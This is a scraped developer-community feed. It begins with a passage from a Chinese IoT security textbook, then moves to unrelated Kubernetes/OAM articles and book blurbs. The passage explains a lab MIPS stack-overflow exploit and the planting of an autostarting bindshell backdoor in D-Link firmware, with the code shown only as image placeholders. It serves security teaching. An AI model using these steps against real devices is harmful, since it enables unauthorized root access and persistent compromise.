        15)disass main命令的执行结果如图3-44所示,此时得到main函数的反汇编代码。

        image.png

        如果读者熟悉反汇编结果中的某些指令,会发现这些指令非常有用。反汇编结果中依次指示了指令地址、指令和操作数。
        MIPS架构中共包含32个通用寄存器,分别是$zero、$at、$v0~$v1、$a0~$a3、$t0~$t9、$s0~$s7、$k0、$k1、$gp、$sp、$fp和$ra。在这些寄存器中,$a0~$a3寄存器的作用是存放函数参数,$t0~$t9寄存器用于临时数据存储,$gp寄存器存放全局指针(在利用过程中尽量不要修改$gp寄存器的值),$sp寄存器存放栈指针,$fp寄存器存放帧指针,$ra寄存器存放返回地址。另外还有一个专用寄存器即程序计数器(Program Counter, PC),其作用是存储下一条指令的内存地址,也就是当前正在执行指令的下一条指令。
        为了控制基于MIPS架构的二进制代码执行流程,我们主要关注2个寄存器,即RA寄存器和PC寄存器。在处理MIPS架构下的二进制文件时,读者可能已经意识到相对于RA寄存器而言,控制PC寄存器中的内容更加复杂。因此,为了简单起见,在本练习中我们将主要关注如何控制RA寄存器中的内容。
        16)由于我们已经知道了当前分析的二进制文件stack_bof_01中存在栈溢出漏洞,因此在程序运行时可以尝试带上一个非常长的参数。我们将使用GEF的模式字符串创建功能生成该参数,运行结果如图3-45所示。

        image.png

        17)生成了测试用的模式字符串后,我们就可以将其作为程序stack_bof_01的参数运行程序,看看执行过程中是否会导致RA寄存器溢出。本例中,我们使用GEF生成了300个字符长的字符串,以该字符串为参数,程序stack_bof_01后的执行情况如图3-46所示。

        image.png

        18)正如我们所预期的一样,由于在命令中使用了-g参数,命令执行后二进制文件处于暂停状态,等待调试器附加进来。现在打开GEF终端窗口敲入target命令,命令执行结果如图3-47所示。


        image.png

        19)使用target命令完成远程主机IP与端口的设置后,我们输入命令c,程序将继续执行直到出现以下三种情况之一,即运行完成、命中断点或者出现异常。本例中,程序在执行过程中出现了SIGSEGV错误,如图3-48所示。

        image.png

        GEF还显示出了捕获异常时栈和寄存器的全部状态。在本例中,我们可以看到RA寄存器中的值被覆盖为0x63616162,这正是字符串baac的十六进制形式。
        了解了上述信息后,可以使用模式搜索功能找到覆盖RA寄存器的字节的偏移。取得了偏移之后,我们就找到了放置恶意地址的位置,进而能够控制程序的执行流程。
        20)我们可以使用命令pattern search RA-overflown-bytes-in-hex实现模式字符串的搜索工作,搜索命令如图3-49所示。

        image.png

        根据命令执行结果,我们找到了导致寄存器RA溢出的字符串的偏移,在本例中该偏移为204。这意味着访问到RA寄存器之前需要填充204字节的垃圾字节,而接下来的4个字节就是填充RA寄存器的值。
        21)如果读者还记得本次练习的目的在于更改程序的执行流程,并调用在程序正常流程中原本不会调用的dat_shell函数,那么下一步工作就是确定dat_shell函数的地址。为了找到dat_shell函数的地址,我们要么打印出dat_shell函数的地址,要么通过反汇编查找dat_shell函数的起始地址。这可以通过命令disass function-name来完成,执行结果如图3-50所示。

        image.png

        从在上面的截图中我们可以看到,dat_shell函数的起始地址为0x00400950。然而,前3条指令中用到了全局指针(GP寄存器),而我们并不希望在这个时候使用该指针,这就是我们跳转到0x0040095c而不是0x00400950的原因。
        22)接下来在地址0x0040095c后填充204个垃圾字符后,继续运行二进制文件,这次我们去掉了参数-g,执行如下命令:
        image.png

        在图3-51中可见,二进制文件现在已经执行了我们想要执行的dat_shell函数。上述内容就是如何在MIPS架构下开展栈溢出漏洞利用的过程。

        3.8.3 测试分析

        缓冲区溢出漏洞的基本思路是在缓冲区中放入超过程序预期长度的字符串,这样就可以控制栈中的寄存器。而控制了栈中的寄存器就可以跳转到shellcode的位置或系统的libc库来执行其他载荷。

        image.png

        3.8.4 拓展学习

        尽管在实验环境中我们成功对存在漏洞的二进制文件实现了漏洞利用,但通常在现实情况中遇到的场景更为复杂。其中一种情况是我们希望利用的函数在现实二进制文件中却并不存在,此时攻击者就需要跳转到system函数来执行bin/sh,或者创建ROP链执行自己的shellcode。

        3.9 使用firmware-mod-kit(FMK)在固件中添加后门

        在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。

        3.9.1 准备工作

        固件篡改的过程会用到工具FMK,该工具由Jeremy Collake和Craig Heffner开发。FMK不仅可以利用Binwalk或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。
        FMK可以从https://github.com/brianpow/firmware-mod-kit/ 下载,如果读者之前从GitHub中克隆了FAT代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用FAT进行仿真的固件为例进行介绍。

        3.9.2 测试流程

        篡改固件的步骤如下:
        1)在本例中我们使用的固件来自D-Link DIR-300路由器。在这里我们使用FMK目录下的extract-firmware.sh脚本从固件中提取文件系统,而未使用Binwalk。操作命令如图3-52所示。


        xt-align:center">

        提取出固件后,脚本会生成一个新目录,其中包括rootfs、image_part和logs等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心rootfs文件夹。
        rootfs文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。
        2)首先查看固件所基于的架构。对固件中任一文件执行readelf命令就可以查看其架构,以BusyBox文件为例,命令执行结果如图3-53所示。

        image.png

        3)正如我们从图3-53中看到的,固件是基于MIPS小端架构的。这意味着我们需要开发符合MIPS小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由Osanda Malith开发编写:

        image.png

        代码写好后,我们就可以使用针对MIPSEL架构的Buildroot,并使用该Buildroot构建的交叉编译器编译代码。这里不对安装配置Buildroot的过程进行过多介绍,因为这个过程非常简单,并且在Buildroot的说明文档中已经进行了详细说明。
        4)为MIPSEL架构创建了交叉编译器后,我们接下来将bindshell.c编译为能够植入文件系统的二进制文件bindshell:

        image.png

        下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。
        5)在文件系统中,我们可以在etc/templates/目录中放入后门的二进制文件,然后在system.sh脚本中调用该二进制文件,其中system.sh脚本位于/etc/scripts/目录下,脚本编写如图3-54所示。

        image.png

        6)接下来使用build-firmware.sh脚本将修改后的文件系统重新打包为新的固件,打包过程如图3-55所示。

        image.png

        执行完成后,会在目录firmware-name/中生成新的固件,新固件名为new-firmware.bin。
        7)此时就创建完成了新的固件镜像,我们可以将新固件复制到FAT目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图3-56所示。

        image.png

        如图3-56所示,固件仿真时获得的IP地址为192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门bindshell是否已经成功启动。
        8)现在尝试运行Netcat连接目标IP的9999端口,检查后门是否成功启动,如图3-57所示。

        image.png

        根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有root权限的shell。而获得拥有root权限的shell之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。

        3.9.3 测试分析

        固件篡改的功能强大,对于攻击者而言是梦寐以求的目标。这是因为,如果能够实现对固件的篡改,那么攻击者就能够实现绕过保护机制、移除安全防护措施等操作。而利用本章介绍的FMK等工具,攻击者可以很容易地将自己开发的恶意软件或后门植入到任意IoT设备固件中,这样攻击者就可以在全球任何地方通过后门访问IoT设备了。
        正是由于固件篡改在攻击者手中具有如此强大的威力,所以如果能够对固件进行签名和校验值验证,那么对于防止恶意修改固件的攻击而言将具有非常重要的意义。

        ]]>
        阿里巴巴 Kubernetes 应用管理实践中的经验与教训-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 孙健波(阿里巴巴技术专家)、赵钰莹

        导读:云原生时代,Kubernetes 的重要性日益凸显。然而,大多数互联网公司在 Kubernetes 上的探索并非想象中顺利,Kubernetes 自带的复杂性足以让一批开发者望而却步。本文中,阿里巴巴技术专家孙健波在接受采访时基于阿里巴巴 Kubernetes 应用管理实践过程提供了一些经验与建议,以期对开发者有所帮助。

        在互联网时代,开发者更多是通过顶层架构设计,比如多集群部署和分布式架构的方式来实现出现资源相关问题时的快速切换,做了很多事情来让弹性变得更加简单,并通过混部计算任务来提高资源利用率,云计算的出现则解决了从 CAPEX 到 OPEX 的转变问题。

        云计算时代让开发可以聚焦在应用价值本身,相较于以前开发者除了业务模块还要投入大量精力在存储、网络等基础设施,如今这些基础设施都已经像水电煤一样便捷易用。云计算的基础设施具有稳定、高可用、弹性伸缩等一系列能力,除此之外还配套解决了一系列应用开发“最佳实践”的问题,比如监控、审计、日志分析、灰度发布等。原来,一个工程师需要非常全面才能做好一个高可靠的应用,现在只要了解足够多的基础设施产品,这些最佳实践就可以信手拈来了。但是,在面对天然复杂的 Kubernetes 时,很多开发者都无能为力。

        作为 Jira 和代码库 Bitbucket 背后的公司,Atlassian 的 Kubernetes 团队首席工程师 Nick Young 在采访中表示:

        虽然当初选择 Kubernetes 的战略是正确的(至少到现在也没有发现其他可能的选择),解决了现阶段遇到的许多问题,但部署过程异常艰辛。

        那么,有好的解决办法吗?

        太过复杂的 Kubernetes

        “如果让我说 Kubernetes 存在的问题,当然是‘太复杂了’”,孙健波在采访中说道,“不过,这其实是由于 Kubernetes 本身的定位导致的。”

        孙健波补充道,Kubernetes 的定位是“platform for platform”。它的直接用户,既不是应用开发者,也不是应用运维,而是“platform builder”,也就是基础设施或者平台级工程师。但是,长期以来,我们对 Kubernetes 项目很多时候都在错位使用,大量的应用运维人员、甚至应用研发都在直接围绕 Kubernetes 很底层的 API 进行协作,这是导致很多人抱怨 “Kubernetes 实在是太复杂了”的根本原因之一。

        这就好比一名 Java Web 工程师必须直接使用 Linux Kernel 系统调用来部署和管理业务代码,自然会觉得 Linux “太反人类了”。所以,目前 Kubernetes 项目实际上欠缺一层更高层次的封装,来使得这个项目能够对上层的软件研发和运维人员更加友好。

        如果可以理解上述的定位,那么 Kubernetes 将 API 对象设计成 all-in-one 是合理的,这就好比 Linux Kernel 的 API,也不需要区分使用者是谁。但是,当开发者真正要基于 K8s 管理应用、并对接研发、运维工程师时,就必然要考虑这个问题,也必然要考虑如何做到像另一层 Linux Kernel API 那样以标准、统一的方式解决这个问题,这也是阿里云和微软联合开放云原生应用模型 Open Application Model (OAM)的原因。

        有状态应用支持

        除了天然的复杂性问题,Kubernetes 对于有状态应用的支持也一直是众多开发者花费大量时间研究和解决的问题,并不是不可以支持,只是没有相对较优的解决方案。目前,业内主流的针对有状态应用的解法是 Operator,但是编写 Operator 其实是很困难的。

        在采访中,孙健波表示,这是因为 Operator 本质上是一个“高级版”的 K8s 客户端,但是 K8s API Server 的设计,是“重客户端”的模型,这当然是为了简化 API Server 本身的复杂度,但也导致了无论是 K8s client 库,还是以此为基础的 Operator,都变的异常复杂和难以理解:它们都夹杂了大量 K8s 本身的实现细节,比如 reflector、cache store、informer 等。这些,并不应该是 Operator 编写者需要关心的,Operator 编写者应该是有状态应用本身的领域专家(比如 TiDB 的工程师),而不应该是 K8s 专家。这是现在 K8s 有状态应用管理最大的痛点,而这可能需要一个新的 Operator 框架来解决这个问题。

        另一方面,复杂应用的支持不止编写 Operator 这么简单,这里还需要有状态应用交付的技术支撑,这是目前社区上各种持续交付项目都有意或者无意间忽略掉的事情。事实上,持续交付一个基于 Operator 的有状态应用,跟交付一个无状态的 K8s Deployment 的技术挑战完全不是一个量级的。这也是孙健波所在团队在 CNCF 应用交付领域小组(CNCF SIG App Deliver)倡导“应用交付分层模型”的重要原因:如下图所示,四层模型分别为“应用定义”、“应用交付”、“应用运维与自动化”、“平台层”,只有通过这四个层不同能力的合力协作,才能真正做到高质量和高效率的交付有状态应用。

        1

        举个例子,Kubernetes API 对象的设计是“all-in-one”的, 即:应用管理过程中的所有参与者,都必须在同一个 API 对象上进行协作。这就导致开发者会看到,像 K8s Deployment 这样的 API 对象描述里, 既有应用开发关注的字段,也可以看到运维关注的字段,还有一些字段可能还是被多方关注的。

        实际上,无论是应用开发、应用运维,还是 HPA 这样的 K8s 自动化能力,它们都有可能需要控制一个 API 对象里的同一个字段。最典型的情况就是副本数(replica)这种参数。但是,到底谁 own 这个字段,是一个非常棘手的问题。

        综上,既然 K8s 的定位是云时代的 Linux Kernel,那么 Kubernetes 就必须在 Operator 支持、API 层以及各类接口定义的完善上不断进行突破,使得更多生态参与者可以更好的基于 K8s 构建自己的能力和价值。

        阿里巴巴大规模 Kubernetes 实践

        如今,Kubernetes 在阿里经济体的应用场景涵盖了阿里方方面面的业务,包括电商、物流、离在线计算等,这也是目前支撑阿里 618、双 11 等互联网级大促的主力军之一。阿里集团和蚂蚁金服内部运行了数十个超大规模的 K8s 集群,其中最大的集群约 1 万个机器节点,而且这其实还不是能力上限。每个集群都会服务上万个应用。在阿里云 Kubernetes 服务(ACK)上,我们还维护了上万个用户的 K8s 集群,这个规模和其中的技术挑战在全世界也是首屈一指的。

        孙健波透露,阿里内部早在 2011 年便开始了应用容器化,当时最开始是基于 LXC 技术构建容器,随后开始用自研的容器技术和编排调度系统。整套系统本身没有什么问题,但是作为基础设施技术团队,目标一定是希望阿里的基础技术栈能够支撑更广泛的上层生态,能够不断演进和升级,因此,整个团队又花了一年多时间逐渐补齐了 K8s 的规模和性能短板。总体来看,升级为 K8s 是一个非常自然的过程,整个实践过程其实也很简单:

        • 第一:解决应用容器化的问题,这里需要合理利用 K8s 的容器设计模式;
        • 第二:解决应用定义与描述的问题,这里需要合理的利用 OAM,Helm 等应用定义工具和模型来实现,并且要能够对接现有的应用管理能力;
        • 第三:构建完整的应用交付链,这里可以考虑使用和集成各种持续交付能力。

        如上的三步完成,就具备了对接研发、运维、上层 PaaS 的能力,能够讲清楚自己的平台价值。接下来就可以试点开始,在不影响现有应用管理体系的前提下,一步步换掉下面的基础设施。

        Kubernetes 本身并不提供完整的应用管理体系,这个体系是整个云原生的生态基于 K8s 构建出来的,可以用下图表示:

        2

        Helm 就是其中最成功的一个例子,它位于整个应用管理体系的最上面,也就是第 1 层,还有 Kustomize 等各种 YAML 管理工具,CNAB 等打包工具,它们都对应在第 1.5 层。然后有 Tekton、Flagger 、Kepton 等应用交付项目,对应在第 2 层。Operator ,以及 K8s 的各种工作负载组件,比如 Deployment、StatefulSet,对应在第 3 层。最后才是 K8s 的核心功能,负责对工作负载的容器进行管理,封装基础设施能力,对各种不同的工作负载对接底层基础设施提供 API 等。

        初期,整个团队最大的挑战来自于规模和性能瓶颈,但这个解法也是最直接的。孙健波表示,随着规模逐渐增大,我们看到规模化铺开 K8s 最大的挑战实际上是如何基于 K8s 进行应用管理和对接上层生态。比如,我们需要统一的管控来自数十个团队、数百个不同目的的 Controller;我们需要以每天近万次的频率交付来自不同团队的生产级应用,这些应用的发布、扩容策略可能完全不同;我们还需要对接数十个更加复杂的上层平台,混合调度和部署不同形态的作业以追求最高的资源利用率,这些诉求才是阿里巴巴 Kubernetes 实践要解决的问题,规模和性能只是其中一个组成部分。

        除了 Kubernetes 的原生功能外,在阿里巴巴内部会开发大量的基础设施以 K8s 插件的形式对接到这些功能上,随着规模的扩大,用统一的方式发现和管理这些能力成为了一个关键问题。

        此外,阿里巴巴内部也有众多存量 PaaS,这些是为了满足用户不同业务场景上云所构建的,比如有的用户希望上传一个 Java 的 War 包就可以运行,有的用户希望上传一个镜像就可以运行。在这些需求背后,阿里各团队帮用户做了许多应用管理的工作,这也是存量 PaaS 出现的原因,而这些存量 PaaS 与 Kubernetes 对接过程可能会产生各种问题。目前,阿里正在通过 OAM 这个统一标准的应用管理模型,帮助这些 PaaS 向 K8s 底盘进行对接和靠拢,实现标准化和云原生化。

        解耦运维和研发

        通过解耦,Kubernetes 项目以及对应的云服务商就可以为不同的角色暴露不同维度、更符合对应用户诉求的声明式 API。比如,应用开发者只需要在 YAML 文件中声明”应用 A 要使用 5G 可读写空间“,应用运维人员则只需要在对应的 YAML 文件里声明”Pod A 要挂载 5G 的可读写数据卷“。这种”让用户只关心自己所关心的事情“所带来的专注力,是降低 Kubernetes 使用者学习门槛和上手难度的关键所在。

        孙健波表示,现在大多数的解法实际上是“悲观处理”。比如,阿里内部的 PaaS 平台,为了减轻研发使用的负担,长期以来只开放给研发设置 5 个 Deployment 的字段。这当然是因为 K8s YAML "all-in-one"的设计,使得完整的 YAML 对研发来说太复杂,但这也导致 K8s 本身的能力,绝大多数情况下对研发来说是完全没有体感的。而对 PaaS 平台运维来说,他反而觉得 K8s YAML 太简单,不够描述平台的运维能力,所以要给 YAML 文件添加大量 annotation。

        此外,这里的核心问题在于,对运维人员而言,这种“悲观处理”的结果就是他自己太“独裁”,包揽了大量细节工作,还费力不讨好。比如扩容策略,目前就是完全由运维一方说了算。可是,研发作为编写代码的实际人员,才是对应用怎么扩容最有发言权的,而且研发人员也非常希望把自己的意见告诉运维,好让 K8s 更加 灵活,真正满足扩容需求。但这个诉求在目前的系统里是无法实现的。

        所以,“研发和运维解耦”并不是要把两者割裂,而是要给研发提供一个标准、高效的,同运维进行沟通的方式,这也是 OAM 应用管理模型要解决的问题。孙健波表示,OAM 的主要作用之一就是提供一套研发从自己的角度表达诉求的标准和规范,然后这套标准“你知,我知,系统知”,那么上面这些问题也就迎刃而解了。

        具体来说,OAM 是一个专注于描述应用的标准规范。有了这个规范,应用描述就可以彻底与基础设施部署和管理应用的细节分开。这种关注点分离(Seperation of Conerns)的设计好处是非常明显的。举个例子,在实际生产环境中,无论是 Ingress、CNI 还是 Service Mesh,这些表面看起来一致的运维概念,在不同的 Kubernetes 集群中可谓千差万别。通过将应用定义与集群的运维能力分离,我们就可以让应用开发者更专注应用本身的价值点,而不是”应用部署在哪“这样的运维细节。

        此外,关注点分离让平台架构师可以轻松地把平台运维能力封装成可被复用的组件,从而让应用开发者专注于将这些运维组件与代码进行集成,从而快速、轻松地构建可信赖的应用。OAM 的目标是让简单的应用管理变得更加轻松,让复杂的应用交付变得更加可控。孙健波表示,未来,团队将专注于将这套体系逐步向云端 ISV 和软件分发商侧推进,让基于 K8s 的应用管理体系真正成为云时代的主流。

        嘉宾介绍:孙健波,阿里巴巴技术专家。Kubernetes 项目社区成员。目前在阿里巴巴参与大规模云原生应用交付与管理相关工作,2015 年参与编写《Docker 容器与容器云》技术书籍。曾任职七牛,参与过时序数据库、流式计算、日志平台等项目相关应用上云过程。

        今年 12 月 6-7 日北京 ArchSummit 全球架构师峰会上,孙健波老师会继续分享《阿里巴巴 Kubernetes 应用管理实践中的经验与教训》,会介绍阿里对解耦研发和运维过程中的现有实践,以及实践本身存在的问题;以及实施的标准化、统一化解决的思路,以及对社区的进一步思考。

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        更多详细信息可关注“阿里巴巴云原生”

        ]]>
        阿里云和微软共同开源的 OAM 对 Kubernetes 开发人员意味着什么?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1

        上周,微软和阿里巴巴共同推出了开放应用模型(OAM),用于定义部署在任何地方的应用模型的一种规范。Rudr是Microsoft基于Kubernetes环境的OAM标准实现。

        我用了一个周末来了解OAM试图解决的问题,为此我还以Rudr为基础重构了一些我喜欢的基础微服务的应用程序。本文和以下教程将帮助普通的Kubernetes用户了解OAM背后的动机。

        众所周知,Kubernetes是一个复杂的平台,包含许多活动组件。在编排和部署简单的两层Web应用程序时,需要涉及到创建Storage Classes,PVC,PV,Secret,ConfigMap,Service,Deployment和 Ingress。在实际生产部署中还需要健全的日志收集,监控告警,安全性,高可用性和可扩容性,我们将用到StatefulSet(有状态应用),网络策略,RBAC,准入控制,Pod横向自动伸缩等知识。

        对于从传统IT环境过渡的开发工程师和运维工程师,Kubernetes强劲的发展势头让人感到害怕。甚至一些熟悉容器化的DevOps专业人员都发现想要完全理解Kubernetes也是个很棘手的事情。

        2

        当转换为可部署的文件时,一个简单的两层Web应用程序可能具有十几个YAML文件,里面包含了这个应用程序针对于每个对象的定义描述。

        Kubernetes的核心设计原则之一是对象的可解耦性。例如一个服务可以独立于Pod而存在,创建一个PV无需任何使用者,还可以配置一个无需任何后端来处理请求的Ingress。基于一组标签,注释和选择器,这些特点在运行时可以拼凑在一起共同使用。一个服务会将请求转发到符合条件的一个或多个Pod上。Ingress将流量路由到某个服务也是相同的用法。

        Kubernetes中的每个对象都是自我治理并且完全独立的。尽管这种设计使Kubernetes具有极高的可扩展性,但其缺点是缺乏应用程序上下文关系。Kubernetes中的一个应用程序是一系列协同工作的自治对象的集合。当转换为可部署的文件时,一个简单的两层Web应用程序可能具有十几个YAML文件,里面包含了这个应用程序针对于每个对象的定义描述。在单一环境下管理和维护这些编排文件是与Kubernetes接触时面临的最大挑战。

        Helm工具想要通过图表的概念来解决这个问题。但是即使这样,你往往还是在部署后丢失上下文关系。毕竟Helm只是应用程序运行所需的多个Kubernetes对象定义的集合编排文件生成工具。

        Kubernetes的其他挑战之一是开发人员和运维人员之间有个很模糊的界限。为了有效利用平台,开发人员需要对运行时环境有一定的了解。他们需要了解ConfigMap如何对Pod中包装的容器可见。他们需要知道初始化代码的哪一部分应打包为Init容器。运维人员负责确保正确的命名规则来保证服务发现的正常工作。他们需要知道需要传递给Pod的所有环境变量。运维人员应根据应用程序的特性来决定将容器部署为ReplicationController,DaemonSet还是StatefulSet。他们需要在生产环境部署的时候,选择使用ClusterIP还是NodePort。

        如上所述,开发人员期望熟悉运行时程序需要哪些必要的决策,并且运维人员应了解软件设计方面的知识。OAM想要通过以下方法解决这些存在的问题:

        • 将应用程序上下文带入微服务部署
        • 在开发人员和运维人员之间明确关注点
        • 与运行时无关的应用程序模型

        从更高的层次上来说,OAM是用于定义微服务或一组属于应用程序的微服务组件的规范。每个组件都有一个或多个工作节点,它们可以作为一个服务,或者是个消费者,或者是个需要完成的任务。每个工作节点之间可能具有关联的配置和特征。这些配置转换为传递给工作节点的参数,这些特性会影响组件的运行环境,同一类组件的集合属于一个应用程序。

        OAM的核心前提是,开发人员的工作以从源代码在构建容器镜像的时候结束,而运维人员负责的工作正好从此处开始。Ops团队将负责为单个应用程序的一组容器镜像进行配置和部署。

        OAM中的组件意在使开发人员能够以与基础结构无关的格式声明,来区分执行单元的操作特性。组件定义了在基础系统结构中的CPU,GPU,内存和磁盘需求。

        组件中的每个工作节点类型如下:

        3

        配置通常在处理后以参数的形式传递给工作节点。例如在配置中定义了发送到应用程序服务工作节点的连接数据库的字符串。

        这些特性定义了工作节点的运行时行为,从而定义了一个应用程序。Rudr就是OAM的参考实现的,并有以下特征:

        4

        如果我们仔细观察Workload和Trait的概念描述,它们可以轻松将这些概念对应到到Kubernetes。服务本质上是Deployment,而Singleton服务是具有一个replica的Deployment。它们都要使用ClusterIP或NodePort。Worker和单独的Worker是没有关联服务的Pods。任务是一个可并行化的Kubernetes Job,而单个任务是个单次运行的Job。

        同样这些特性也能对应到到Kubernetes的自动扩容,Ingress,Deployment和PVC等概念。

        因此使用OAM和Rudr,开发人员可以提交代码并构建可转换为工作节点的容器镜像。运维人通过这些组件的特性进行配置定义,将其组成工作节点。

        从技术上讲,OAM这一规范可以适用于虚拟机基础设施平台(IaaS),PaaS和容器管理平台(CaaS)。OAM的每个构建模块都可以映射到相应的环境。就是说OAM定义的YAML文件可以在没有任何修改的情况下部署在任何环境中。

        在本系列的下一篇文章中,我将带你逐步了解Rudr的端到端教程,其中展示了以Node.js Web应用程序部署组件,配置其特性所涉及的工作流程。敬请关注~

        作者|Janakiram MSV
        翻译|Big dimple
        原文链接 https://thenewstack.io/what-does-the-open-application-model-oam-and-rudr-mean-for-kubernetes-developers/ 已获原作者授权翻译转载

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        基于标签批量管理资源-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 如何基于标签实现批量管理资源的实践?比如:基于标签中指定环境(key=env)为预发(value=pre)加应用名称(key=appname, value=alipay)的资源来批量启动;批量安装插件;批量启动机器;批量更换操作系统;批量升级带宽;批量删除资源等等。 ]]> knative serving 0.10.0 版本变更-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 前言Knative Serving v0.10.0 版本已经于 10 月 29 号正式发布。本次版本主要优化了activator负载均衡等能力,具体细节见以下内容。主要变更Activator半理想的负载均衡优化这部分的设计文档见  Better Load Balancing in Activator (google doc)在对activator负载均衡的优化中,设置 containerConcurrency: 1 后因为排队导致的错误已经解决。 ]]> 深入理解Java虚拟机(JVM) --- 垃圾收集算法(中)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 2 回收无效对象的过程当经可达性算法筛选出失效的对象之后,并不是立即清除,而是再给对象一次重生的机会判断是否覆盖finalize()未覆盖该或已调用过该方法,直接释放对象内存已覆盖该方法且还未被执行,则将finalize()扔到F-Queue队列中执行F-Queue中的finali... ]]> 真香!阿里工程师的一段代码让我看饿了-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 阿里妹导读:打开盒马app,相信你跟阿里妹一样,很难抵抗各种美味的诱惑。颜值即正义,盒马的图片视频技术逼真地还原了食物细节,并在短短数秒内呈现出食物的最佳效果。今天,我们请来阿里高级无线开发工程师莱宁,解密盒马app里那些“美味”视频是如何生产的。 ]]> 带你读《微服务架构设计模式》之一:逃离单体地狱-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书中,微服务架构的先驱、Java 开发者社区的意见领袖 Chris Richardson 收集、分类并解释了 44 个架构设计模式,这些模式用来解决诸如服务拆分、事务管理、查询和跨服务通信等难题。本书不仅仅是一个模式目录,还提供了经验驱动的建议,以帮助你设计、实现、测试和部署基于微服务的应用程序。 ]]> 带你读《微服务架构设计模式》之二:服务的拆分策略-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书中,微服务架构的先驱、Java 开发者社区的意见领袖 Chris Richardson 收集、分类并解释了 44 个架构设计模式,这些模式用来解决诸如服务拆分、事务管理、查询和跨服务通信等难题。本书不仅仅是一个模式目录,还提供了经验驱动的建议,以帮助你设计、实现、测试和部署基于微服务的应用程序。 ]]> 带你读《微服务架构设计模式》之三:微服务架构中的进程间通信-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 成功地开发基于微服务架构的应用软件,需要掌握一系列全新的架构思想和实践。在这本独特的书籍中,微服务架构的先驱、Java 开发者社区的意见领袖 Chris Richardson 收集、分类并解释了 44 个架构设计模式,这些模式用来解决诸如服务拆分、事务管理、查询和跨服务通信等难题。本书不仅仅是一个模式目录,还提供了经验驱动的建议,以帮助你设计、实现、测试和部署基于微服务的应用程序。 ]]> Dubbo consumer代理创建流程-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 开篇 这篇文章目的是为了将consumer在引用producer的过程中创建代理的细节。Reference创建代理过程public class ReferenceConfig extends AbstractReferenceConfig {private T creat... ]]> 今日头条在消息服务平台和容灾体系建设方面的实践与思考-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本篇文章整理自今日头条的沈辉在 RocketMQ 开发者沙龙中的演讲,主要和大家分享一下,RocketMQ 在微服务架构下的实践和容灾体系建设。沈辉是今日头条的架构师,主要负责 RocketMQ 在头条的落地以及架构设计,参与消息系统的时间大概一年左右。 ]]> 阿里HBase高可用8年“抗战”回忆录-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 2011年毕玄和竹庄两位大神将HBase引入阿里技术体系,2014年接力棒转到东8区第一位HBase commiter天梧手中,多年来与淘宝、旺旺、菜鸟、支付宝、高德、大文娱、阿里妈妈等几乎全BU合作伙伴携手共进,支撑了双十一大屏、支付宝账单、支付宝风控、物流详情等核心业务。2018年双十一,HBase全天处理请求2.4万亿行,单集群吞吐达到千万级别。从一个婴儿成长为青年,阿里HBase摔过很多次,甚至头破血流,我们在客户的信任之下幸运的成长,感激涕零。 ]]> 带你读《射频集成电路及系统设计》之三:射频二端口网络-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书针对射频集成电路和系统设计的核心问题,提供理论与实践与现实世界的应用实例,还提供了实用的设计指导,涵盖各种拓扑结构设计。主要包括射频组件、信号和系统、两个端口、噪声、失真、低噪声放大器、混频器、振荡器、功率放大器和收发器架构。为学生提供在射频集成电路和系统设计中未来的职业所需的背景知识和实用工具。适合电子工程、通信工程、自动化等专业的高年级本科或研究生教材。 ]]> 带你读《Kotlin核心编程》之一:认识Kotlin-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书不是一本简单介绍Kotlin语法应用的图书,而是一部专注于帮助读者深入理解Kotlin的设计理念,指导读者实现Kotlin高层次开发的实战型著作。书中深入介绍了Kotlin的核心语言特性、设计模式、函数式编程、异步开发等内容,并以Android和Web两个平台为背景,演示了Kotlin的实战应用。 ]]> 带你读《Kotlin核心编程》之二:基础语法-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书不是一本简单介绍Kotlin语法应用的图书,而是一部专注于帮助读者深入理解Kotlin的设计理念,指导读者实现Kotlin高层次开发的实战型著作。书中深入介绍了Kotlin的核心语言特性、设计模式、函数式编程、异步开发等内容,并以Android和Web两个平台为背景,演示了Kotlin的实战应用。 ]]> 带你读《Kotlin核心编程》之三:面向对象-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 